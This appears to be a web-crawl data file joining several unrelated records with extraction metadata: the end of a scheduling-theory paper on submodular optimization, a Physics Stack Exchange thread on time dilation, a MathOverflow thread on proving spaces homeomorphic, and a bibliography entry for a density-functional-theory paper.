K$$. We deduce that the total contribution of the jobs $$j_{\ell },j_{\ell +1},\ldots ,j_{k}$$ into $$\sum _{i=1}^{v+k-1}s_{i}r_{i} \left( \bar{Y}\cup K\right)$$ is equal to \begin{aligned} \beta \left( \ell ,v-1\right) =\sum _{i=\ell }^{k}s_{v+i-1}r(j_{i}). \end{aligned} For computing $$\xi _{v}[t]$$, we need to find a set $$\bar{Y}_{+}\in \mathcal {H }_{v}[t]$$ such that \begin{aligned} \xi _{v}[t]=\sum _{i=1}^{v+k}s_{i}r_{i}\left( \bar{Y}_{+}\cup K\right) +\lambda (\bar{Y}_{+}). \end{aligned} According to (59), if $$\bar{Y}_{+}$$ is sought in set $$\mathcal {H} _{v}[t-1]$$, then $$\xi _{v}[t]=\xi _{v}[t-1]$$. Otherwise, it is sought in the sets obtained from sets of $$\mathcal {H}_{v-1}[t-1]$$ by including job $$t$$. In the latter case, set $$\bar{Y}_{+}$$ can be found based on set $$\bar{Y}$$ and on those changes that are caused by the insertion of job $$t$$. As a result of this insertion, job $$t$$ has the $$\left( \ell +v-1\right) -$$th smallest release date in $$\bar{Y}\cup K\cup \left\{ t\right\}$$, so that it will contribute $$s_{\ell +v-1}r(t)+\lambda (t)$$ into $$\xi _{v}[t]$$. Notice that all jobs of set $$K$$ continue making contributions, since $$v<m-k$$. The new joint contribution of jobs $$j_{\ell },j_{\ell +1},\ldots ,j_{k}$$ becomes \begin{aligned} \beta \left( \ell ,v\right) =\sum _{i=\ell }^{k}s_{v+i}r(j_{i}). \end{aligned} Therefore, we deduce: \begin{aligned} \xi _{v}[t]=\max \left\{ \xi _{v}[t-1],\xi _{v-1}[t-1]+\beta \left( \ell ,v\right) -\beta \left( \ell ,v-1\right) +s_{\ell +v-1}r(t)+\lambda (t)\right\} . \end{aligned} (60) All required partial sums $$\beta \left( \ell ,v\right)$$ can be found at the preprocessing stage by computing \begin{aligned} \beta \left( k+1,v\right) =0,\qquad v=0,\ldots ,\hat{h}, \end{aligned} (61) followed by computing all $$\beta \left( \ell ,v\right)$$ for $$v,\,0\le v\le \hat{h}$$ and $$\ell ,~\ell =k-1,k-2,\ldots ,1$$ by \begin{aligned} \beta \left( \ell ,v\right) =\beta \left( \ell +1,v\right) +s_{v+\ell }r(j_{\ell }). \end{aligned} (62) Notice that for $$\ell =k+1$$ both $$\beta \left( \ell ,v\right) =\beta \left( \ell ,v-1\right) =0$$, so that the recursive formula (60) is valid for $$\ell =k+1$$ as well. Applying (60) for $$t,\,1\le t\le h+k$$, and $$v,\,1\le v\le m-k$$ with the initial condition (58), we may find all values $$\xi _{v}[t]$$ needed for computing $$\varPhi ^{\prime }$$ by (57). We now consider the value $$\varPhi ^{\prime \prime }$$. It is assumed that $$\hat{ h}<h$$, i.e., $$h+k\ge m$$. Suppose that we know the set $$Y^{\prime \prime }\in 2^{H}$$ such that $$\|Y^{\prime \prime }\|>\hat{h}$$ and \begin{aligned} \sum _{i=1}^{m}s_{i}r_{i}(Y^{\prime \prime }\cup K)+\lambda (Y^{\prime \prime })=\max \left\{ \sum _{i=1}^{m}s_{i}r_{i}(Y\cup K)+\lambda (Y)\ \bigg \|\ Y\in 2^{H},\ \|Y\|>\hat{h}\right\} . \end{aligned} (63) Similarly to Sect. 5.2, for $$t,\,1\le t\le h+k$$, introduce sets $$K\left[ t\right]$$ and $$\mathcal {H}^{z}[t]$$ of the form (44). Let $$t_{}\in H\cup K$$ be the job such that the set $$\{j\in Y^{\prime \prime }\cup K\mid j\le t_{}\}$$ contains exactly $$m$$ elements. Since the jobs are numbered in non-decreasing order of the release dates, the set $$\{j\in Y^{\prime \prime }\cup K\mid j\le t_{}\}$$ contains the jobs in $$Y^{\prime \prime }\cup K$$ with $$m$$ smallest release dates. Putting $$Y_{1}^{\prime \prime }=\{j\in Y^{\prime \prime }\mid j\le t_{}\}\in \mathcal {H}^{m}[t_{}]$$, we have \begin{aligned} \sum _{i=1}^{m}s_{i}r_{i}\left( Y^{\prime \prime }\cup K\right) =\sum _{i=1}^{m}s_{i}r_{i}\left( Y_{1}^{\prime \prime }\cup K\left[ t_{}\right] \right) . \end{aligned} Putting $$Y_{2}^{\prime \prime }=Y^{\prime \prime }{\setminus } Y_{1}^{\prime \prime }=\{j\in Y^{\prime \prime }\mid j>t_{}\}$$, we have \begin{aligned} \sum _{i=1}^{m}s_{i}r_{i}(Y^{\prime \prime }\cup K)+\lambda (Y^{\prime \prime })=\sum _{i=1}^{m}s_{i}r_{i}(Y_{1}^{\prime \prime }\cup K[t_{}])+\lambda (Y_{1}^{\prime \prime })+\lambda \left( Y_{2}^{\prime \prime }\right) . \end{aligned} Thus, we should include all jobs $$j\in H$$ with $$j>t_{}$$ into set $$Y_{2}^{\prime \prime }$$ to achieve the maximum in (63), i.e., we may assume $$Y_{2}^{\prime \prime }=\{j\in H\mid j>t_{}\}$$. We also have \begin{aligned} \sum _{i=1}^{m}s_{i}r_{i}(Y_{1}^{\prime \prime }\cup K)+\lambda (Y_{1}^{\prime \prime })=\max _{Y\in \mathcal {H}^{m}[t_{}]}\left\{ \sum _{i=1}^{m}s_{i}r_{i}(Y\cup K[t_{}])+\lambda (Y)\right\} . \end{aligned} For $$z$$ and $$t,\,1\le z\le m,\,1\le t\le h+k$$, define \begin{aligned} \zeta _{z}[t]=\left\{ \begin{array}{l@{\quad }l} \max \limits _{Y\in \mathcal {H}^{z}[t]}\left\{ \displaystyle \sum \limits _{i=1}^{z}s_{i}r_{i}(Y\cup K\left[ t\right] )+\lambda (Y)\right\} , &{} \mathrm{if~}z\ge \left\| K\left[ t\right] \right\| , \\ -\infty , &{} \mathrm{otherwise.} \end{array}\right. \end{aligned} (64) Provided that these values are known, we can compute $$\varPhi ^{\prime \prime }$$ by \begin{aligned} \varPhi ^{\prime \prime }=dS_{m}-\max _{m\le t\le h+k}\left\{ \zeta _{m}[t]+\sum _{j\in H,~j>t}\lambda (j)\right\} . \end{aligned} (65) Notice that for a given $$t,\,t\ge m$$, the term $$\sum _{j\in H,~j>t}\lambda (j)$$ is identical to $$\eta _{2}[t]$$ used in Sect. 5.2 and for its computation we can use the formulae (50) with the initial condition (49). For convenience, define $$\lambda (j)=0$$ for $$j\in K$$. The required values of $$\zeta _{z}[t]$$ can be found recursively by \begin{aligned} \zeta _{z}[t]=\max \left\{ \zeta _{z}[t-1],~\zeta _{z-1}[t-1]+s_{z}r(t)+\lambda (t)\right\} ,~1\le z\le m,~1\le t\le h+k\nonumber \\ \end{aligned} (66) with the initial conditions \begin{aligned} \zeta _{0}[t]=0,\,0\le t\le h+k;\quad \zeta _{z}[0]=-\infty ,\,1\le z\le m. \end{aligned} (67) To see why the recursion (66) works, notice that if in the expression for $$\zeta _{z}[t]$$ job $$t\in H$$ does not belong to set $$Y$$ that delivers the maximum in (64), then $$\zeta _{z}[t]=\zeta _{z}[t-1]$$. Otherwise, job $$t\in H$$, as the job with the largest release date, will be matched with the smallest multiplier $$s_{z}$$ and will make an additional contribution of $$\lambda (t)$$, so that $$\zeta _{z}[t]=\zeta _{z-1}[t-1]+s_{z}r(t)+\lambda (t)$$. The latter situation also occurs if $$t\in K$$, since in this case $$t\in K[t]$$. Now we are ready to present the procedure that outputs $$\widetilde{\varphi } _{K}^{H}(X)$$ for $$X=\hat{H}$$ and an instrumental set $$Y_{*}$$ for set $$\hat{H}$$. The most time consuming parts of the procedure are the double loops is Steps 6 and 10, which require $$O\left( \hat{h}\left( h+k\right) \right)$$ time and $$O(m(h+k))$$ time, respectively. Thus, the overall time complexity of Procedure CompQrj is $$O(m(h+k))$$. For $$h\ge k$$, the time complexity becomes $$O(mh)$$. We can show that the bound $$O(mh)$$ also applies to the case that $$h<k$$; this can be done by an approach similar to that used in Sect. 5.2. Hence, the next theorem follows from Theorem 4. ### Theorem 7 Problem $$Q\|r(j),p(j)=\overline{p}(j)-x(j),C(j)\le d,pmtn\|W$$ can be solved in $$O(nm\log n)$$ time. ## 6 Conclusions In this paper, we develop a decomposition recursive algorithm for maximizing a linear function over a submodular polyhedron intersected with a box. We illustrate the power of our approach by adapting the algorithm to solving three scheduling problems with controllable processing times. In these problems, it is required to find a preemptive schedule that is feasible with respect to a given deadline and minimizes total compression cost. The resulting algorithms run faster than previously known. We intend to extend this approach to other scheduling models with controllable processing times, e.g., to a single machine with distinct release dates and deadlines. It will be interesting to identify problems, including those outside the area of scheduling, for which an adaptation of our approach is beneficial. Although throughout the paper we assume that the processing times are real numbers from intervals $$\left[ \underline{p}(j),\overline{p}(j)\right]$$, the formulated approach is applicable to the case where the processing times may only take integer values in the interval. Indeed, if all the input numbers, except for costs $$w(j)$$, are given by integers, then the submodular rank function takes integer values, and the optimal solution $$p(j),\,j\in N$$, found by Procedure Decomp is integral. ## Notes ### Acknowledgments This research was supported by the EPSRC funded project EP/J019755/1 “Submodular Optimisation Techniques for Scheduling with Controllable Parameters”. The first author was partially supported by the Humboldt Research Fellowship of the Alexander von Humboldt Foundation and by Grant-in-Aid of the Ministry of Education, Culture, Sports, Science and Technology of Japan, grants 24500002 and 25106503. ### References 1. 1. Brucker, P.: Scheduling Algorithms, 5th edn. Springer, Berlin (2007) 2. 2. Chen, Y.L.: Scheduling jobs to minimize total cost. Eur. J. Oper. Res. 74, 111–119 (1994) 3. 3. Fujishige, S.: Lexicographically optimal base of a polymatroid with respect to a weight factor. Math. Oper. Res. 5, 186–196 (1980) 4. 4. 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Nemhauser, G.L., Wolsey, L.A.: Integer and Combinatorial Optimization. Wiley, New York (1988) 16. 16. Nowicki, E., Zdrzałka, S.: A survey of results for sequencing problems with controllable processing times. Discrete Appl. Math. 26, 271–287 (1990) 17. 17. Nowicki, E., Zdrzałka, S.: A bicriterion approach to preemptive scheduling of parallel machines with controllable job processing times. Discrete Appl. Math. 63, 237–256 (1995) 18. 18. Sahni, S.: Preemptive scheduling with due dates. Oper. Res. 27, 925–934 (1979) 19. 19. Sahni, S., Cho, Y.: Scheduling independent tasks with due times on a uniform processor system. J. ACM 27, 550–563 (1980)Google Scholar 20. 20. Schrijver, A.: A combinatorial algorithm minimizing submodular functions in strongly polynomial time. J. Comb. Theory B 80, 346–355 (2000) 21. 21. Schrijver, A.: Combinatorial Optimization: Polyhedra and Efficiency. Springer, Berlin (2003)Google Scholar 22. 22. Shabtay, D., Steiner, G.: A survey of scheduling with controllable processing times. Discrete Appl. Math. 155, 1643–1666 (2007) 23. 23. Shakhlevich, N.V., Strusevich, V.A.: Pre-emptive scheduling problems with controllable processing times. J. Sched. 8, 233–253 (2005) 24. 24. Shakhlevich, N.V., Strusevich, V.A.: Preemptive scheduling on uniform parallel machines with controllable job processing times. Algorithmica 51, 451–473 (2008) 25. 25. Shakhlevich, N.V., Shioura, A., Strusevich, V.A.: Single machine scheduling with controllable processing times by submodular optimization. Int. J. Found. Comput. Sci. 20, 247–269 (2009) 26. 26. Shakhlevich, N.V., Shioura, A., Strusevich, V.A.: Fast divide-and-conquer algorithms for preemptive scheduling problems with controllable processing times—a polymatroidal approach. In: Halperin, D., Mehlhorn, K. (eds.) Lecture Notes Computer Science 5193, ESA 2008, pp. 756–767. Springer, Berlin (2008)Google Scholar 27. 27. Shioura, A., Shakhlevich, N.V., Strusevich, V.A.: A submodular optimization approach to bicriteria scheduling problems with controllable processing times on parallel machines. SIAM J. Discrete Math. 27, 186–204 (2013) ## Authors and Affiliations • Akiyoshi Shioura • 1 • Natalia V. Shakhlevich • 2 • Vitaly A. Strusevich • 3 1. 1.Graduate School of Information SciencesTohoku UniversitySendaiJapan 2. 2.School of ComputingUniversity of LeedsLeedsUK 3. 3.Department of Mathematical Sciences, Old Royal Naval CollegeUniversity of GreenwichLondonUK	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 2, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9698286056518555, "perplexity": 1121.3827199731425}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-39/segments/1505818689102.37/warc/CC-MAIN-20170922183303-20170922203303-00397.warc.gz"}
https://physics.stackexchange.com/questions/202580/time-relativity	# Time relativity Lets say that I am on a spaceship moving with the speed of 0,90c and I am looking on my friend who stayed back on earth. My friend is looking on me. From my perspective, my friend is moving 7 times slower then "normal" and from his perspective I am moving 7 times slower then "normal". Lets say that seven years passes on earth which means that I am one year older and my friend is seven years older. But if I was moving for one year and I was seeing him moving 7 times slower shouldn't he be 1/7 year older not 7? Can someone explain that to me? • Neither of you will appear only 1/7 year older: each of you will measure 7 years on your own clock and see 1 apparent year pas for the other. 1/7 of a year would be 49 times slower, not seven as you originally stated. – Asher Aug 26 '15 at 16:32 If you are abit more careful about making the statements, then "both perspectives" are actually correct. Let me be more concrete and explain. Let $E$ be the one who stays on Earth and $S$ be the one who is on the spaceship. The first issue you have is you said "let's say seven years passes on Earth" - this is an ambiguous statement: from whose perspective? Let's say seven years passes on Earth from $E$'s perspective. $E$ will indeed see $S$ to age only a year. Note that during this interval, $S$ will only see 1/7 years to have passed on Earth. But wait a second, did I just say that $E$ sees $S$ to age slower and $S$ sees $E$ to age slower? Yes! And both are correct from their own perspective. Hmm, but maybe you are still not very convinced. You might ask: how can $E$ be both 7 years older and 1/7 years older at the same time? The answer: $E$ is 7 years older from $E$'s frame, but 1/7 years older from $S$'s frame. These are two different frames, and one cannot just compare like this. More concretely, from the viewpoint of $S$, all the clocks in $E$'s frame are at all moving slower BUT they start at different times (clocks at the 'rear' have a headstart). See bottom left of diagram. The $E$-clock that is staring right in front of the face of $S$ reads to $S$: 7 years elapsed. But the $E$-clock that is located on Earth reads to $S$: 1/7 years elapsed. (You might have to download and zoom in to see the clock timings, especially the negative signs) Extension (to comment): What happens if $S$ turns back to Earth; when both $S$ and $E$ are on Earth, how can $E$ and $S$ both see each other to have aged less? This is known as the twin paradox. The correct "answer" is $E$ has aged 14 years and $S$ has aged 2 years. This was $E$'s perspective all along, so why is $S$'s perspective now "wrong"? The caveat is that when $S$ turns around to return to Earth, $S$ has changed inertia frame/has experienced acceleration. If you know how to deal with accelerating frames, you can compute that $S$ will perceive $E$ to suddenly age $13 \frac{5}{7}$ years during the short interval when $S$ turns around. So $S$'s perspective, when rightfully accounted for, will see $E$ to also age $1/7 + 13 \frac{5}{7} + 1/7 = 14$ years as well. • The last paragraph is a bit hard to understand. But I have another question. If S will travel on his ship for two years and then come back on Earth he should see E 14 years older, right? How is that posiible if time on Earth will be 7 times slower then S time? – Krzysztof Majewski Aug 26 '15 at 9:09 • Aha! I was going to talk about that. And I was going to draw a diagram to explain the last paragraph. I'll update in about an hour. – suncup224 Aug 26 '15 at 9:15 • @KrzysztofMajewski hopefully this helps – suncup224 Aug 26 '15 at 9:41	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5808786749839783, "perplexity": 324.4536676458529}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-43/segments/1570986669546.24/warc/CC-MAIN-20191016190431-20191016213931-00473.warc.gz"}
http://mathoverflow.net/questions/840/the-core-question-of-topology?sort=votes	# The core question of topology As I see it, the core question of topology is to figure out whether a homeomorphism exists between two topological spaces. To answer this question, one defines various properties of a space such as connectedness, compactness, the fundamental group, betti numbers etc. However, it seems that these properties can at best be used to distinguish two spaces - i.e. if X is a space with property Q, and Y is a space without property Q, then we can say with certainty that X & Y are not homeomorphic. My question is this: given two arbitrary spaces, how does one show that they are homeomporphic, without explicitly showing a homeomorphism? - I'm not sure the premise of this question is valid any more than the core question of group theory is to figure out whether an isomorphism exists between two groups. – Qiaochu Yuan Oct 17 '09 at 6:37 You might rephrase this question, removing the claim that this is the core question of topology, especially in the light of negative answers below. – Scott Morrison Oct 17 '09 at 14:02 Thanks so much guys, very helpful! – Tejus Oct 18 '09 at 8:39 I agree, the question is too general and not properly phrased. But thanks for the responses, very helpful to see the big picture of what topology is all about. – Tejus Oct 18 '09 at 8:43 What about homotopy? – Harry Gindi Jan 6 '10 at 7:41 As others have noted, it's hopeless to try to answer this question for general topological spaces. However, there are a few positive results if you assume, say, that X and Y are both simply connected closed manifolds of a given dimension. For example, Freedman showed that if X and Y are oriented and have dimension four, then to check whether they're homeomorphic you just need to compute (i) the bilinear "intersection" forms on H^2(X;Z) and H^2(Y;Z) induced by the cup product; and (ii) a Z/2-valued invariant called the Kirby-Siebenmann invariant. The invariant in (ii) obstructs the existence of a smooth structure, so if you happened to know that both X and Y were smooth manifolds (hence that their Kirby-Siebenmann invariants vanished) you'd just have to look at their intersection forms to determine whether they're homeomorphic (however a great many examples show that this wouldn't suffice to show that they're diffeomorphic). In higher dimensions, Smale's h-cobordism theorem shows that two simply connected smooth manifolds are diffeomorphic as soon as there is a cobordism between them for which the inclusion of both manifolds is a homotopy equivalence. Checking this criterion can still be subtle, but work of Wall and Barden shows that in the simply-connected 5-dimensional case it suffices to check that there's an isomorphism on second homology H2 which preserves both (i) the second Stiefel-Whitney classes, and (ii) a certain "linking form" on the torsion subgroup of H2. If you drop the simply-connected assumption, things get rather harder--indeed if n>3 then any finitely presented group is the fundamental group of a closed n-manifold (which can be constructed in a canonical way given a presentation), and Markov (son of the probabilist) showed that the impossibility of algorithmically distinguishing whether two presentations yield the same group translates to the impossibility of algorithmically classifying manifolds. Even assuming you already knew the fundamental groups were isomorphic, there are still complications beyond what happens in the simply-connected case, but these can sometimes be overcome with the s-cobordism theorem. In a somewhat different direction, in dimension 3 one can represent manifolds by link diagrams, and Kirby showed that two such manifolds are diffeomorphic (which in dimension 3 is equivalent to homeomorphic) iff you can get from one diagram to the other by a sequence of moves of a certain kind. (see Kirby calculus in Wikipedia; similar statements exist in dimension 4). I suppose that one could argue that this isn't an example of what you were looking for, since if one felt like it one could extract diffeomorphisms from the moves in a fairly explicit way, and one can't (AFAIK) just directly extract some invariants from the diagrams which completely determine whether the moves exist. - Thank you! That does help a lot actually. – Tejus Oct 18 '09 at 8:42 Could you provide a reference that homotopy equivalence which pulls back tangent bundles is a diffeomorphism? Does it somehow follow from the H-cobordism theorem? – Jason DeVito Nov 16 '09 at 19:05 Smale did not show that "two smooth manifolds are diffeomorphic as soon as there is a homotopy equivalence between them which pulls back the tangent bundle on one to the tangent bundle of the other", because this is not true. I think, exotic 7-spheres should give a counterexample. – Igor Belegradek Feb 28 '10 at 3:42 Sorry--in a hasty effort to find a clean statement in the literature without using cobordism language I overlooked some obviously-rather-important parts of the hypothesis of Theorem 7.1 of Smale's "On the structure of manifolds"...namely that the manifolds need to have vanishing cohomology in degrees above around half the dimension (so obviously they can't be closed, among other serious restrictions). I've edited the error – Mike Usher Mar 1 '10 at 17:39 In your comment you sound like the h-cobordism theorem does NOT apply to manifolds that are closed. In fact it applies to closed simply-connected manifolds of dimension >4: two such manifolds are h-cobordant iff they are diffeomorphic. – Igor Belegradek Mar 1 '10 at 22:41 Among topological spaces simplicial complexes are very nice. But even then we run into problems answering your question. Determining whether two finite simplicial complexes are homeomorphic is an undecidable problem. That means there is no algorithm that can tell you if two finite simplicial complexes are homeomorphic, in finite time. Note that these are particularly nice topological spaces and in general topological spaces can be horrendous. I'm not an expert, but considering this I would say that in general the answer to your question would be: we can't. - I would guess that there is a semi-algorithm that will tell you reliably if two simplicial complexes are homeomorphic - which is what the question asks for. (Though it probably does this by exhibiting an explicit homeomorphism, which the question rules out!) – HJRW Jan 6 '10 at 17:43 Like the other responders, I find your question a bit too general to address sensibly. However, I'll give one example of a way to prove two spaces are homeomorphic without providing a homeomorphism: Let M be a connected manifold and f: M --> B a submersion to another manifold. Then any two fibers of f are homeomorpic, but it can be very hard to extract an explicit homemorphism from this data. Rather than requiring that f be a submersion it is enough to require that the critical points of f have codimension 2 in B. For example, this is the easiest way to show that any two smooth hypersurfaces in CP^n of the same degree are homeomorphic. - Sometimes we can uniquely categorise a space $X$. We can then find a (preferably) finite list of topological properties, such that any space $Y$ that satisfies these properties must be homeomorphic to $X$. Such characterisations exist for many classical spaces like the Cantor set $C$, the rationals $Q$, the irrationals $P$, the Cantor set minus a point, the real line, the plane $R^2$, the Hilbert cube $I^N$, etc. In that case, in the proof of such theorems, we do show a homeomorphism exists, but once we have this theorem, other mathematicians need not find explicit homeomorphisms any more. I have found such theorems to be quite useful. Of course, only sufficiently nice and/or simple spaces can be characterised in this way, and the reach of such a method is quite limited, as there are far many more spaces than there are such nice lists of properties. But using such theorems, topologists could show that all completely metrisable separable topological linear spaces are homeomorphic, e.g. - Aren't there some neat results from Hilbert manifold theory (due to Chapman perhaps) related to your point. I vaguely remember that for Hilbert cube manifolds proper homotopy equivalence implies homeomorphism (perhaps faulty memory)?? – Tim Porter Feb 27 '10 at 8:00 Maybe this is my algebraic topology bias but I'm not sure there's anything one can say about this question in general--there are just too many topological spaces to try to classify them in any sense. If you only want to know whether two spaces are homotopy equivalent, you can do a lot better. For example, if X and Y are simply connected CW complexes, you can (in principle) show they are homotopy equivalent without writing down any map from X to Y, by computing k-invariants. - What are k-invariants? – Kevin H. Lin Feb 27 '10 at 8:38 I'll describe these in the simplest case (where $\pi_1$ acts trivially on all homotopy groups). In that case for a (nice) space X we have a Postnikov tower $$X \to \cdots P_2 \to P_1 \to P_0$$ Each of the maps $P_{i+1} \to P_i$ is a fibration with fiber $K( \pi_{i+1}X, i+1)$. Under the hypothesis, one can show that each of these is (up to homotopy) a principal bundle and classified by a k-invariant $P_i \to K( \pi_{i+1}X, i+2)$, i.e. a certain cohomology class. This is described in Hatcher's Alg. Top. book. The general case is more complicated. One needs twisted cohomology. – Chris Schommer-Pries Mar 1 '10 at 13:25 Thanks, Chris. In brief, the k-invariants are algebraic data which tell you how to solve the extension problems as you go up the Postnikov tower. You can read a bit about them near the end of section 4.3 in Hatcher's book (p. 412 in the online copy). – Reid Barton Mar 1 '10 at 18:02 You often need to put some assumptions on your spaces to have a sensible answer to this question; there are just too many terrible spaces out there, and you can write down a host of topological invariants that detect differences between weird spaces but never fully answer the question. One of the most studied classification attempts is the study of the classification of smooth closed manifolds. This leads to a lot of topics like surgery theory and Morse theory that allows you to give constructive procedures to build any manifold by elementary moves, and so the main question becomes one of extracting invariants. Homotopy type is one invariant, and homology groups can be extracted from it. And then you're led into questions like the Poincare conjecture, or topological quantum field theories, or the classification of simply-connected 4-manifolds, et cetera, et cetera. - The only way I can think of giving a meaningful answer is by listing examples, interpreting this as a "big list" question. I'll give an example of proving homeomorphism to S3 non-constructively. • Surgery along a framed link in S3 gives rise to a 3-manifold M, and a presentation for the fundamental group π of M. If π turns out to be the trivial group (you might prove this by the Todd-Coxeter process or something), the Poincare conjecture tells us that M is homeomorphic to S3. To exhibit that homeomorphism might be painful, because the proofs of the Kirby theorem are non-constructive and gives no algorithm to simplify surgery presentations of 3-manifolds. I'm using the fact that there is a unique 3-manifold with trivial fundamental group (whose proof is non-constructive) and then finding an arbitrarily complicated construction to give you a manifold with those properties (and there are many variations on that theme). These constructions, based on surgery or some other violent operation on the manifold, give no hint of how a homeomorphism might look or how one might try to find one. - For 3-manifolds there is an effective algorithm to do what you're talking about. There are standard procedures to construct a triangulation of a 3-manifold obtained by surgery on a link in $S^3$. Then you apply the Rubinstein 3-sphere recognition algorithm to that triangulation, and you're done. It has exponential run-time in the number of tetrahedra in the 3-manifold triangulation and that in turn looks something like the number of crossings in your diagram times a function that measures the size of the surgery coefficients. – Ryan Budney Jan 6 '10 at 9:23 I would respectful suggest that there are other important problems in topology. One thing that the wikipedia article linked doesn't spend much time on is the "placement problem". Instead of attempting a definition, here are the first two examples that spring to my mind: classify curves in a fixed Riemann surface or classify curves in the three-sphere, each time up to isotopy. The first leads to the study of the mapping class group and perhaps Teichmuller spaces. The second leads one towards knot theory. Notice that if $\alpha$ and $\beta$ are curves in a surface $S$ then deciding if the pairs $(S, \alpha)$ and $(S, \beta)$ are homeomorphic reduces to the classification of surfaces and so is "easy". The mapping class group still manages to be important, however! -	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8386146426200867, "perplexity": 283.58060635385135}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2016-30/segments/1469257825365.1/warc/CC-MAIN-20160723071025-00144-ip-10-185-27-174.ec2.internal.warc.gz"}
http://dft.uci.edu/bibtexbrowser.php?key=LFB10&bib=burkegroup.bib	Accuracy of Electron Affinities of Atoms in Approximate Density Functional Theory (bibtex) by Lee, Donghyung, Furche, Filipp and Kieron Burke Abstract: Most approximate density functionals do not bind small atomic anions because of large self-interaction errors. Yet atomic electron affinities are often calculated using finite basis sets with surprisingly good results, despite positive highest occupied molecular orbital (HOMO) energies. We show that excellent results (better than for ionization potentials) can be obtained using standard approximate functionals evaluated on Hartree-Fock or exact-exchange densities for which the extra electron is bound. Although these good results found with limited basis sets are not accidental, we argue that this method cannot be used in general. Thus a positive HOMO indicates that the total energy should not be disregarded, only treated with caution. Reference: Accuracy of Electron Affinities of Atoms in Approximate Density Functional Theory Lee, Donghyung, Furche, Filipp and Kieron Burke, J. Phys. Chem. Lett. 1, 2124-2129 (2010). Bibtex Entry: @article{LFB10, Pub-num = {126}, Abstract = {Most approximate density functionals do not bind small atomic anions because of large self-interaction errors. Yet atomic electron affinities are often calculated using finite basis sets with surprisingly good results, despite positive highest occupied molecular orbital (HOMO) energies. We show that excellent results (better than for ionization potentials) can be obtained using standard approximate functionals evaluated on Hartree-Fock or exact-exchange densities for which the extra electron is bound. Although these good results found with limited basis sets are not accidental, we argue that this method cannot be used in general. Thus a positive HOMO indicates that the total energy should not be disregarded, only treated with caution.}, Author = {Lee, Donghyung and Furche, Filipp and Kieron Burke}, Date-Modified = {2013-02-12 00:16:04 +0000}, Doi = {10.1021/jz1007033}, Journal = {J. Phys. Chem. Lett.}, Number = {14}, Pages = {2124-2129}, Title = {Accuracy of Electron Affinities of Atoms in Approximate Density Functional Theory}, Url = {http://pubs.acs.org/doi/abs/10.1021/jz1007033}, Volume = {1}, Year = {2010}, keywords = {DC-DFT}, Bdsk-Url-1 = {http://pubs.acs.org/doi/abs/10.1021/jz1007033}, Bdsk-Url-2 = {http://dx.doi.org/10.1021/jz1007033}}	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6969636082649231, "perplexity": 3957.4810778676106}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-43/segments/1539583509690.35/warc/CC-MAIN-20181015184452-20181015205952-00388.warc.gz"}
